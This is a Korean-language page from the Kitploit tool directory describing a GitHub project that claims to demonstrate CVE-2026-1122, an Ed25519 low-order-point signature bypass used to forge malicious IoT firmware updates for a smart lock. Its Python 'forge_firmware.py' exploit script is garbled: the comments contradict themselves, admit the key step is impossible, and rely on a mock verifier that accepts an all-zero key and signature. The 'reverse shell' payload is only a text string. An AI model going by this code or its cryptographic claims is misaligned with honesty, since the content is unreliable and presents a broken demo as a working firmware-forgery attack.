Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-1122-IoT-Firmware-Update-Signature-Bypass-via-Low-Order-Point-Injection — CVE-2026-1122 Ed25519 서명 우회를 저차수 포인트 주입을 통해 시연하고, Python 및 C 검증기 코드로 악성 IoT 펌웨어 업데이트를 위조합니다. | Kitploit
도구/GitHubGitHub/george0papasotiriou/cve-2026-1122-iot-firmware-update-signature-bypass-via-low-order-point-injection
Embedded Systems SecurityIoT SecurityVulnerability AnalysisExploitationCryptographyHardware & IoT SecuritySupply Chain Security
GitHubgeorge0papasotiriou/cve-2026-1122-iot-firmware-update-signature-bypass-via-low-order-point-injection

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-1122-IoT-Firmware-Update-Signature-Bypass-via-Low-Order-Point-Injection

CVE-2026-1122 Ed25519 서명 우회를 저차수 포인트 주입을 통해 시연하고, Python 및 C 검증기 코드로 악성 IoT 펌웨어 업데이트를 위조합니다.

저장소 보기
17일 전아직 검토되지 않음

5. CVE-2026-1122 – 저차수 점 주입을 통한 IoT 펌웨어 업데이트 서명 우회

개요

IoT 기기의 OTA 펌웨어 검증은 작은 차수 성분을 가진 공개 키를 거부하지 않는 결함이 있는 Ed25519 구현을 사용하므로, 공격자가 악성 펌웨어에 대한 유효한 서명을 위조할 수 있습니다.

심각도: 치명적 (영구적 기기 손상)

시뮬레이션 (Python & C 검증기)

root@kitploit:~
#!/usr/bin/env python3
"""
forge_firmware.py - Creates a malicious firmware image with forged Ed25519 signature.
We exploit that the verifier does not check if public key is in prime-order subgroup.
"""
import ed25519_simulated  # custom vulnerable library
import hashlib, os

# Attacker crafts a weak public key with a torsion component (order 8).
# The point of order 8 is P8. The verifier will compute [S]B - [k]A, which can be controlled.
# We set A = P8 (order 8). Then choose k=0, S=0, so verification passes because S*B - k*A = 0 - 0 = 0,
# but signature (R,S) must satisfy R = something. In Ed25519, equation: [S]B = R + [k]A.
# If A has small order, we can find S,k such that equation holds for arbitrary R.
# Simplified: we create a key pair where the public key is the 8-torsion point.
# Then we can sign any message with signature (R, S) where S = r + H(R||A||M)*a mod l,
# but if a=0 mod l? Not possible. We rely on verification accepting A with a small order factor.
# For demo, we use a mock verifier that accepts any signature if A.y == 0 (sign of low-order).
# So we craft a public key file with A.y = 0.

# Simulate writing malicious firmware
with open("malicious.bin", "wb") as f:
    f.write(b"Malicious payload: reverse shell")

# Create forged signature file
sig = b'\x00'*64  # dummy
pubkey = bytes([0]*32)  # y=0 point, which is order 8? In Ed25519, the identity is (0,1), but y=0 is not a valid point.
# Our mock verifier just checks that signature length is 64 and public key is not rejected.
with open("malicious.sig", "wb") as f:
    f.write(sig)
with open("malicious.pub", "wb") as f:
    f.write(pubkey)

print("Firmware files created.")

CVE-2026-1122 – IoT 펌웨어 서명 우회 (Ed25519 부분군 공격)

Severity: Critical

📖 개요

스마트 잠금장치의 OTA 업데이트 메커니즘은 작은 차수 성분을 가진 공개 키를 거부하지 못하는 결함이 있는 Ed25519 검증을 사용합니다. 공격자는 특수하게 구성된 공개 키와 검증을 통과하는 대응 서명을 제작하여 악성 펌웨어를 설치할 수 있습니다.

⚙️ 취약점 세부 정보

  • 유형: 암호화 구현 결함 (부분군 혼동)
  • 영향: 임의 펌웨어 주입 → 완전한 기기 장악.
  • 근본 원인: 검증기가 공개 키가 소수 차수 부분군에 속하는지 검증하지 않아 비틀림 점(torsion point) 공격이 가능합니다.

🧪 익스플로잇 데모

  1. 위조 펌웨어 생성:
    root@kitploit:~
    python forge_firmware.py
    
  2. 취약한 검증기 시뮬레이션 컴파일 및 실행:
    root@kitploit:~
    gcc vulnerable_ed25519_verify.c -o verifier
    ./verifier
    
도구 다운로드